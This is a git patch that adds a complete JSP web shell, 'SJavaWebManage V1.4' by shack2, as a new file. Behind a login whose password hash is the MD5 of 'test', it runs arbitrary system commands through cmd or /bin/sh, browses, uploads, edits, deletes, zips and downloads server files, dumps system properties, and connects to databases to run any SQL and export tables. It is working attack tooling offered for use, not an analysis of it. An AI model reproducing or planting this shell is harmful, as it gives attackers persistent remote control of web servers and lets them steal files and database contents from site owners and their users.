From d416c7190c2b7c03cd7f73c005a43cce337b0ae9 Mon Sep 17 00:00:00 2001 From: tennc Date: Sun, 29 May 2016 09:30:35 +0800 Subject: [PATCH] Create SJavaWebManageV1.4.jsp write with JDK1.3 author : shack2 url: http://www.shack2.org/article/1417190167.html --- jsp/SJavaWebManageV1.4.jsp | 1754 ++++++++++++++++++++++++++++++++++++ 1 file changed, 1754 insertions(+) create mode 100644 jsp/SJavaWebManageV1.4.jsp diff --git a/jsp/SJavaWebManageV1.4.jsp b/jsp/SJavaWebManageV1.4.jsp new file mode 100644 index 0000000..e84edb2 --- /dev/null +++ b/jsp/SJavaWebManageV1.4.jsp @@ -0,0 +1,1754 @@ +<%@page import="java.sql.ResultSetMetaData"%> +<%@page import="java.sql.ResultSet"%> +<%@page import="java.sql.DatabaseMetaData"%> +<%@page import="java.sql.DriverManager"%> +<%@page import="java.sql.Statement"%> +<%@page import="java.sql.Connection"%> +<%@page import="java.nio.charset.Charset"%> +<%@page import="java.text.DecimalFormat"%> +<%@page import="java.util.Properties"%> +<%@page import="java.util.ArrayList"%> +<%@page import="java.util.zip.ZipOutputStream"%> +<%@page import="java.util.zip.ZipEntry"%> +<%@page import="java.util.HashMap"%> +<%@page import="java.io.*"%> +<%@page import="java.util.Date"%> +<%@page import="java.text.SimpleDateFormat"%> +<%@page import="java.util.Iterator"%> +<%@page import="java.util.Map"%> +<%@page import="java.security.MessageDigest"%> +<%@ page language="java" contentType="text/html; charset=UTF-8" + pageEncoding="UTF-8"%> +<%! +private static final String PASS = "098f6bcd4621d373cade4e832627b4f6";//test +private static final String VERSION = "V1.4-20160528"; +private static final String[] Encodings = {"UTF-8","GB2312","GBK","ISO-8859-1","ASCII","Big5"}; +private static final String REQUEST_ENCODING = "ISO-8859-1"; +private static final String PAGE_ENCODING = "UTF-8"; +private static final String checkNewVersion = "http://www.shack2.org/soft/javamanage/Getnewversion.jsp";//检查新版本更新 + +private static final String DBO = "mydbdao";//Session数据库连接常量 +/*工具类*/ +public static class Util{ + public static String get32Md5(String str){ + try { + MessageDigest md = MessageDigest.getInstance("MD5"); + md.update(str.getBytes()); + byte b[] = md.digest(); + int i; + StringBuffer buf = new StringBuffer(""); + for (int offset = 0; offset < b.length; offset++) { + i = b[offset]; + if (i < 0) + i += 256; + if (i < 16) + buf.append("0"); + buf.append(Integer.toHexString(i)); + } + + return buf.toString().toLowerCase(); + + } catch (Exception e) { + + } + return ""; + } + public static boolean isEmpty(String val){ + if(val==null||"".equals(val)){ + return true; + } + return false; + } + public static String execCmd(String cmd,String encode){ + + String result=""; + String[] rmd=cmd.split(" "); + String[] cmds =new String[rmd.length+2]; + String OS = System.getProperty("os.name"); + if (OS.startsWith("Windows")) { + cmds[0]="cmd"; + cmds[1]="/c"; + } + else { + cmds[0]="/bin/sh"; + cmds[1]="-c"; + } + for(int i=0;i"; + disr = br.readLine(); + } + if (p.waitFor() != 0){ + + in = new BufferedInputStream(p.getErrorStream()); + br = new BufferedReader(new InputStreamReader(in)); + dis = new DataInputStream(in); + disr = br.readLine(); + while ( disr != null ) { + result+=disr+"
"; + disr = br.readLine(); + } + } + }catch(Exception e){ + result=e.getMessage(); + }finally{ + if(p!=null){ + p.destroyForcibly(); + } + + } + return result.replaceAll("\\r\\n", "
"); + } + + public static String formatPath(String path){ + if(isEmpty(path)){ + return ""; + } + return path.replaceAll("\\\\","/").replace('\\', '/').replaceAll("//", "/"); + } + + public static String formatDate(long time) { + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); + return format.format(new Date(time)); + } + //获取参数值 + public static String getRequestStringVal(HttpServletRequest request,String key){ + String val=request.getParameter(key); + if(!isEmpty(val)){ + return val; + } + return ""; + } + public static int getRequestIntVal(HttpServletRequest request,String key){ + String val=getRequestStringVal(request,key); + int v=0; + try{ + v=Integer.parseInt(val); + }catch(Exception e){ + + } + return v; + } + // + + public static void print(JspWriter out,int level,String info) throws Exception{ + try{ + + if(level==1){ + out.print(""+info+""); + } + else if(level==2){ + out.print(""+info+""); + } + else if(level==3){ + out.print(""+info+""); + } + else{ + out.print(""+info+""); + } + }catch(Exception e){ + throw e; + } + } +} +/* +数据库操作工具类 +*/ +private static class DBUtil{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBUtil(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBUtil(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +try{ +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +}catch(ClassNotFoundException e){ + e.printStackTrace(); + throw e; +} +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return ""+stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean notchange(String driver,String url,String uid,String pwd) { +return (this.driver.equals(driver) && this.url.equals(url) && this.uid.equals(uid) && this.pwd.equals(pwd)); +} +public Connection getConn(){ +return this.conn; +} +} + +/** + *将文件或是文件夹打包压缩成zip格式 + * + */ +public static class ZipUtils { + /** + * 创建ZIP文件 + * @param sourcePath 文件或文件夹路径(多个请用逗号隔开) + * @param zipPath 生成的zip文件存在路径(包括文件名) + */ + public static void createZip(String sourcePath, String zipPath) { + FileOutputStream fos = null; + ZipOutputStream zos = null; + try { + fos = new FileOutputStream(zipPath); + zos = new ZipOutputStream(fos); + String[] fs=sourcePath.split(","); + for(int i=0;i", ">"); + } + + public static void newFile(String path,String isDir) throws Exception{ + + File f=new File(path); + if(!f.exists()){ + if("1".equals(isDir)){ + f.mkdir(); + } + else{ + f.createNewFile(); + } + } + } + + public static void downLoadFile(HttpServletResponse response,String path){ + OutputStream os=null; + FileInputStream fis=null; + BufferedInputStream bis=null; + try { + String fname=path.substring(path.lastIndexOf("/")+1); + File f=new File(path); + os= response.getOutputStream(); + + response.reset(); + response.setHeader("Content-Disposition", "attachment; filename="+fname); + response.setContentType("application/octet-stream; charset=UTF-8"); + fis=new FileInputStream(path); + bis=new BufferedInputStream(fis); + byte[] tem=new byte[4068]; + int len=0; + while((len=bis.read(tem))!=-1){ + os.write(tem,0,len); + } + + }catch(Exception e){} + finally { + try{ + if(bis!=null) bis.close(); + if(fis!=null)fis.close(); + + if (os != null) { + os.flush(); + os.close(); + } + }catch(Exception e){} + } + } + +} + +/*上传类*/ +public static class UploadFile { + + /** + * 上传文件组件,调用该方法的servlet在使用该方法前必须先调用request.setCharacterEncoding()方法,设置编码格式。该编码格式须与页面编码格式一致。 + * @param sis 数据流 + * @param encoding 编码方式。必须与jsp页面编码方式一样,否则会有乱码。 + * @param length 数据流长度 + * @param upLoadPath 文件保存路径 + * @throws FileNotFoundException + * @throws IOException + */ + public static HashMap uploadFile(ServletInputStream sis, String encoding, int length, String upLoadPath) throws IOException { + HashMap paramMap = new HashMap(); + + boolean isFirst = true; + String boundary = null;//分界符 + byte[] tmpBytes = new byte[4096];//tmpBytes用于存储每行读取到的字节。 + int[] readBytesLength = new int[1];//数组readBytesLength中的元素i[0],用于保存readLine()方法中读取的实际字节数。 + int readStreamlength = 0;//readStreamlength用于记录已经读取的流的长度。 + String tmpString = null; + + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + while (readStreamlength < length) { + if (isFirst) { + boundary = tmpString; + isFirst = false; + } + if (tmpString.equals(boundary)) { + String contentDisposition = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + String contentType = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + //当时上传文件时content-Type不会是null + if (contentType != null && contentType.trim().length() != 0) { + String paramName = getPramName(contentDisposition); + String fileName = getFileName(getFilePath(contentDisposition)); + + paramMap.put(paramName, fileName); + + //跳过空格行 + readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + + /* + * 文件名不为空,则上传了文件。 + */ + if (fileName != null && fileName.trim().length() != 0) { + fileName = upLoadPath + fileName; + + //开始读取数据 + byte[] cash = new byte[4096]; + int flag = 0; + FileOutputStream fos = new FileOutputStream(fileName); + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + /* + *分界符跟结束符虽然看上去只是结束符比分界符多了“--”,其实不是, + *分界符是“-----------------------------45931489520280”后面有2个看不见的回车换行符,即0D 0A + *而结束符是“-----------------------------45931489520280--”后面再跟2个看不见的回车换行符,即0D 0A + * + */ + while (tmpString.indexOf(boundary.substring(0, boundary.length() - 2)) == -1) { + for (int j = 0; j < readBytesLength[0]; j++) { + cash[j] = tmpBytes[j]; + } + flag = readBytesLength[0]; + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + if (tmpString.indexOf(boundary.substring(0, boundary.length() - 2)) == -1) { + fos.write(cash, 0, flag); + fos.flush(); + } else { + fos.write(cash, 0, flag - 2); + fos.flush(); + } + } + fos.close(); + } else { + //跳过空格行 + readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + + //读取分界符或者结束符 + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + } + } //当不是长传文件时 + else { + String paramName = getPramName(contentDisposition); + String value = readLine(tmpBytes, readBytesLength, sis, encoding); + //去掉回车换行符(最后两个字节) + byte[] valueByte=value.getBytes(encoding); + value =new String(valueByte, 0, valueByte.length-2, encoding); + + readStreamlength = readStreamlength + readBytesLength[0]; + paramMap.put(paramName, value); + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + } + } + + } + sis.close(); + return paramMap; + } + + /** + * 从流中读取一行数据。 + * @param bytes 字节数组,用于保存从流中读取到的字节。 + * @param index 一个整型数组,只有一个元素,即index[0],用于保存从流中实际读取的字节数。 + * @param sis 数据流 + * @param encoding 组建字符串时所用的编码 + * @return 将读取到的字节经特定编码方式组成的字符串。 + */ + private static String readLine(byte[] bytes, int[] index, ServletInputStream sis, String encoding) { + try { + index[0] = sis.readLine(bytes, 0, bytes.length);//readLine()方法把读取的内容保存到bytes数组的第0到第bytes.length处,返回值是实际读取的 字节数。 + if (index[0] < 0) { + return null; + } + } catch (IOException e) { + return null; + } + if (encoding == null) { + return new String(bytes, 0, index[0]); + } else { + try { + return new String(bytes, 0, index[0], encoding); + } catch (Exception ex) { + return null; + } + } + + } + + private static String getPramName(String contentDisposition) { + String s = contentDisposition.substring(contentDisposition.indexOf("name=\"") + 6); + s = s.substring(0, s.indexOf('\"')); + return s; + } + + private static String getFilePath(String contentDisposition) { + String s = contentDisposition.substring(contentDisposition.indexOf("filename=\"") + 10); + s = s.substring(0, s.indexOf('\"')); + return s; + } + + private static String getFileName(String filePath) { + String rtn = null; + if (filePath != null) { + int index = filePath.lastIndexOf("/");//根据name中包不包含/来判断浏览器的类型。 + if (index != -1)//包含/,则此时可以判断文件由火狐浏览器上传 + { + rtn = filePath.substring(index + 1);//获得文件名 + } else//不包含/,可以判断文件由ie浏览器上传。 + { + index = filePath.lastIndexOf("\\"); + if (index != -1) { + rtn = filePath.substring(index + 1);//获得文件名 + } else { + rtn = filePath; + } + } + } + return rtn; + } +} +%> +<% +request.setCharacterEncoding(PAGE_ENCODING); +//shell所在磁盘路径 +final String shellPath=request.getContextPath()+request.getServletPath(); + +//shell磁盘更目录 +String webRootPath=request.getSession().getServletContext().getRealPath("/"); + +if (Util.isEmpty(webRootPath)) {//for weblogic + webRootPath = Util.formatPath(this.getClass().getClassLoader().getResource("/").getPath()); + webRootPath = webRootPath.substring(0,webRootPath.indexOf("/WEB-INF")); + webRootPath=webRootPath.substring(0,webRootPath.lastIndexOf("/")); +} else { + webRootPath = application.getRealPath("/"); +} +webRootPath=Util.formatPath(webRootPath); +final String shellDir=webRootPath+request.getContextPath(); + +String m=Util.getRequestStringVal(request, "m"); +if(Util.isEmpty(m)){ + m="FileManage"; +} +//登录密码验证 + +if("Login".equals(m)){ + String dow=Util.getRequestStringVal(request, "do"); + if(Util.isEmpty(dow)){ + %> + + + + + +Powered By SJavaWebManage + + + + + + +
+
+ 请输入密码: +
+ <% +String info=Util.getRequestStringVal(request, "info"); +if("false".equals(info)){ + Util.print(out,2,"密码错误,嘎嘎!"); +} +%> +
+
+ Copyright (c) 2014 http://www.shack2.org + All Rights Reserved| coded by shack2 QQ:1341413415| Powered By + SJavaWebManage| version:<%=VERSION%>  新版本:
+ + +<% + } + if("DoLogin".equals(dow)){ + String pass=Util.getRequestStringVal(request, "pass"); + + if(PASS.equals(Util.get32Md5(pass).toLowerCase())){ + session.setAttribute("isLogin", "true"); + response.sendRedirect(shellPath+"?m=FileManage"); + } + else{ + response.sendRedirect(shellPath+"?m=Login&info=false"); + } + } + //阻止下面的内容输出 + return; +} +else{ + + //登录状态验证 + String isLogin=session.getAttribute("isLogin")+""; + if(!"true".equals(isLogin)){ + response.sendRedirect(shellPath+"?m=Login"); + } +} +%> + + + + + + + + +
+ +
+ Web:localhost:8000 主机IP:192.168.11.11 |Java WebManage coded by shack2 + | http://www.shack2.org | version:<%=VERSION%> + ps:本脚本适用于简单的Web管理,为了兼容较低版本JDK,采用JDK1.3开发 +
+ + + +
+ <% + if("EnvsInfo".equals(m)){ + %> + +
+
    + <% + Properties ps=System.getProperties(); + Iterator iter=ps.keySet().iterator(); + while (iter.hasNext()) { + String key=iter.next()+""; + out.print("
  • "+key+"  "+ps.getProperty(key)+"
  • "); + } + %> + +
+
+ <% + } + %> + + <% + //文件管理 + if("FileManage".equals(m)){ + String dow=Util.getRequestStringVal(request, "do"); + String path=Util.getRequestStringVal(request, "path"); + if("upload".equals(dow)){ + if(!Util.isEmpty(path)){ + UploadFile.uploadFile(request.getInputStream(), PAGE_ENCODING,Integer.parseInt(request.getHeader("Content-Length")),path); + out.print(""); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + } + if("newFile".equals(dow)){ + if(!Util.isEmpty(path)){ + String isDir=Util.getRequestStringVal(request, "isDir"); + String fname=Util.getRequestStringVal(request, "fileName"); + FileUtil.newFile(path+"/"+fname,isDir); + out.print(""); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + } + else if("packFiles".equals(dow)){ + if(!Util.isEmpty(path)){ + String files=Util.getRequestStringVal(request, "files"); + String zipName=Util.getRequestStringVal(request, "zipName"); + String toPath=""; + if(Util.isEmpty(files)){ + File f=new File(path); + ZipUtils.createZip(path, Util.formatPath(f.getParent())+"/"+zipName+".zip"); + } + else{ + //打包多个文件 + toPath=path; + ZipUtils.createZip(files, path+"/"+zipName+".zip"); + } + + out.print(""); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + } + else if("editFile".equals(dow)){ + String encoding=Util.getRequestStringVal(request, "encode"); + String result=""; + String msg=""; + String content=Util.getRequestStringVal(request, "content"); + if(!Util.isEmpty(content)){ + msg=FileUtil.writeTextToFile(content, path, encoding); + result=content; + } + else{ + result=FileUtil.readFileToString(path,encoding); + } + %> +
+
+ +
+ <%=msg %> + +
+ + +
+ +
+
+
+ <% + } + else if("delete".equals(dow)){ + if(!Util.isEmpty(path)){ + File f=new File(path); + String ppath=Util.formatPath(f.getParent()); + + //删除多个 + String files=Util.getRequestStringVal(request, "files"); + if(!Util.isEmpty(files)){ + String[] filesarry=files.split(","); + for(int i=0;ipost('"+shellPath+"',{'m':'FileManage','dir':'"+ppath+"'});"); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + + } + else if("downFile".equals(dow)){ + if(!Util.isEmpty(path)){ + File f=new File(path); + FileUtil.downLoadFile(response, path); + } + + } + else if(Util.isEmpty(dow)){ + int dirCount=0; + int fCount=0; + String dir=Util.getRequestStringVal(request, "dir"); + if(Util.isEmpty(dir)){ + //显示根目录文件列表 + dir=webRootPath; + } + dir=Util.formatPath((dir+"/")); + File f=new File(dir); + %> + +
+
+
+
+ 当前磁盘路径: +
+
+
+
+   文件上传:   + +
+
+ +
+ <% + File[] rfs=f.listRoots(); + + if(f.exists()){ + for(int i=0;i + 磁盘(<%=cf.getPath() %>) + + <% + } + %> + |Web根目录||新建文件夹||新建文件| +
+ +
+
+
文件名称
+
上次修改时间
+
可读/可写
+
文件大小
+
   操作
+
+ <% + //显示文件列表 + + File[] fs=f.listFiles(); + + for(int i=0;i + <% + String currentPath=Util.formatPath(dir+cf.getName()); + %> +
+
+ + <%if(cf.isDirectory()){out.print(""+cf.getName()+"");}else{out.print(cf.getName());}%> +
+
<%=Util.formatDate(cf.lastModified())%>
+
<%=cf.canRead() %>/<%=cf.canWrite()%>
+
<%=FileUtil.getFileSize(cf.length())%>
+
+ <%if(cf.isFile()){%>编辑 + <%}%> + <%if(cf.isFile()){%>下载 + <%}%> + + 打包 删除 +
+
+ + <% + } + } + else{ + Util.print(out, 1, dir+"不存在!"); + } + %> +
+ + +
+ 全选反选删除选中项打包选中项 总计<%=dirCount %>文件夹,<%=fCount %>个文件 +
+ +
+ + + <% + + + } + } + %> + <% + if("CMDS".equals(m)){ + String cmd=Util.getRequestStringVal(request, "cmd"); + String encode=Util.getRequestStringVal(request, "encode"); + String result=""; + if(!Util.isEmpty(cmd)&&!Util.isEmpty(encode)){ + result=Util.execCmd(cmd,encode); + } + %> + + +
+
+ 输入命令: +
+
<%=result%>
+
+ + <% + } + %> + <% + if("DBManage".equals(m)){ + String dom=Util.getRequestStringVal(request, "do"); + String encode=Util.getRequestStringVal(request, "encode"); + + %> + +
+

DataBase Manager »

+ <% + if("connect".equals(dom)){ + String driver=Util.getRequestStringVal(request, "driver"); + String url=Util.getRequestStringVal(request, "url"); + String uid=Util.getRequestStringVal(request, "uid"); + String pwd=Util.getRequestStringVal(request, "pwd"); + String db=Util.getRequestStringVal(request, "mydb"); + DBUtil dbo=null; + try{ + dbo=(DBUtil)session.getAttribute(DBO); + }catch(Exception e){ + Util.print(out, 2, "需要重新连接成功!"); + if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) { + dbo = new DBUtil(driver,url,uid,pwd,true); + Util.print(out, 1, "创建新连接成功!"); + } + else{ + Util.print(out, 2, "连接信息没有填写完整!"); + } + } + + try{ + if (dbo == null || !((DBUtil)dbo).isValid()) { + if (dbo != null) + ((DBUtil)dbo).close(); + if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) { + dbo = new DBUtil(driver,url,uid,pwd,true); + Util.print(out, 1, "创建新连接成功!"); + } + else{ + Util.print(out, 2, "连接信息没有填写完整!"); + } + } + else { + if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) { + if(!dbo.notchange(driver, url, uid, pwd)){ + dbo.close(); + dbo = new DBUtil(driver,url,uid,pwd,true); + Util.print(out, 1, "创建新连接成功!"); + } + else{ + Util.print(out, 1, "取出上一次的连接!"); + } + } + else{ + Util.print(out, 1, "取出上一次的连接!"); + } + } + session.setAttribute(DBO,dbo); + }catch(Exception e){ + Util.print(out, 3, "发生了一点错误:"+e.getClass().getName()+": "+e.getMessage()); + } + + } + %> +
+ + + + + +
+
+
+ Driver: + URL: UID: PWD: DataBase: + +
+
+
+ <% + DBUtil dbo=null; + try{ + dbo=(DBUtil)session.getAttribute(DBO); + }catch(Exception e){ + session.removeAttribute(DBO); + Util.print(out, 2, "需要重新连接数据库!"); + } + + if(dbo!=null&&dbo.isValid()){ + + %> +
+
+ + 数据库列表: 当前库所有表:<% + out.println(meta.getCatalogSeparator()); + %> + + + +
+
+

自定义SQL执行:

+
+ + +
+
+ + +
+ + <% + if(!Util.isEmpty(currentDB)&&!Util.isEmpty(currentTable)){ + try { + String loadTableStruct=Util.getRequestStringVal(request, "loadTableStruct"); + String loadTableData=Util.getRequestStringVal(request, "loadTableData"); + String runsql=Util.getRequestStringVal(request, "runsql"); + String runmysql=Util.getRequestStringVal(request, "runmysql"); + if(!Util.isEmpty(loadTableStruct)){ + ResultSet rs = meta.getColumns(currentDB, null,currentTable, null); + ResultSetMetaData rsmeta = rs.getMetaData(); + int count = rsmeta.getColumnCount(); + out.println(""); + out.println(""); + out.println(""); + out.println(""); + out.println(""); + while(rs.next()){ + out.println(""); + out.println(""); + out.println(""); + out.println(""); + out.println(""); + } + rs.close(); + } + + if(!Util.isEmpty(loadTableData)){ + runmysql="select * from "+currentTable; + runsql="runsql"; + } + + if(!Util.isEmpty(runsql)){ + dbo.conn.setCatalog(currentDB); + Object obj=dbo.execute(runmysql); + if (obj instanceof ResultSet) { + + ResultSet rs = (ResultSet)obj; + ResultSetMetaData sqlmeta = rs.getMetaData(); + if(!Util.isEmpty(currentDB)){ + + } + int colCount = sqlmeta.getColumnCount(); + out.println(""); + for (int i=1;i<=colCount;i++) { + out.println(""); + } + out.println(""); + + while(rs.next()) { + out.println(""); + for (int i = 1;i<=colCount;i++) { + out.println(""); + } + out.println(""); + } + rs.close(); + } + + } + String exportTableData=Util.getRequestStringVal(request, "exportTableData"); + String downTableData=Util.getRequestStringVal(request, "downTableData"); + String exportDataPath=Util.getRequestStringVal(request, "exportDataPath"); + if (!Util.isEmpty(exportTableData)|| !Util.isEmpty(downTableData)) { + dbo.conn.setCatalog(currentDB); + if (Util.isEmpty(runmysql)) { + runmysql = "select * from " + currentTable; + } + + Object o = dbo.execute(runmysql); + byte[] rowSep = "\r\n".getBytes(); + if (o instanceof ResultSet) { + ResultSet rs = (ResultSet) o; + ResultSetMetaData dmeta = rs.getMetaData(); + int count = dmeta.getColumnCount(); + + BufferedOutputStream output = null; + DataOutputStream dout=null; + FileOutputStream fs=null; + if (!Util.isEmpty(exportDataPath)&& !Util.isEmpty(exportTableData)) { + //exportfile + fs=new FileOutputStream(new File(exportDataPath)); + output = new BufferedOutputStream(fs); + dout=new DataOutputStream(output); + + } else { + out.clear(); + out=pageContext.pushBody(); + //download. + response.setHeader( + "Content-Disposition", + "attachment;filename=DataExport.txt"); + output = new BufferedOutputStream( + response.getOutputStream()); + dout=new DataOutputStream(output); + } + + for (int i = 1; i <= count; i++) { + String colName = dmeta.getColumnName(i)+ "\t"; + byte[] b = null; + if (Util.isEmpty(encode)) { + b = colName.getBytes(); + } else { + b = colName.getBytes(encode); + } + dout.write(b, 0, b.length); + } + + dout.write(rowSep, 0, rowSep.length); + while (rs.next()) { + for (int i = 1; i <= count; i++) { + String v = null; + try { + v = rs.getString(i); + + } catch (Exception ex) { + v = ""; + } + v += "\t"; + + byte[] b = null; + if (Util.isEmpty(encode)) { + b = v.getBytes(); + + } else { + b = v.getBytes(encode); + } + dout.write(b, 0, b.length); + } + dout.write(rowSep, 0, rowSep.length); + } + rs.close(); + if(dout!=null){ + dout.close(); + } + if(output!=null){ + output.close(); + } + if(fs!=null){ + fs.close(); + } + } + } + + } catch (Exception e) { + Util.print(out, 3, e.getMessage()); + } + + } + %> +
COLUMN_NAMETYPE_NAMECOLUMN_SIZE
"+rs.getString("COLUMN_NAME")+""+rs.getString("TYPE_NAME")+""+rs.getString("COLUMN_SIZE")+"
"+sqlmeta.getColumnName(i)+"("+sqlmeta.getColumnTypeName(i)+")
"+rs.getString(i)+"
+
+ +
+ <% + } + %> + +
+ + <% + } + %> +
+ +
+ Copyright (c) 2014-2016 http://www.shack2.org + All Rights Reserved| coded by shack2 | Powered By SJavaWebManage| + 当前版本:<%=VERSION%>
+
+ + +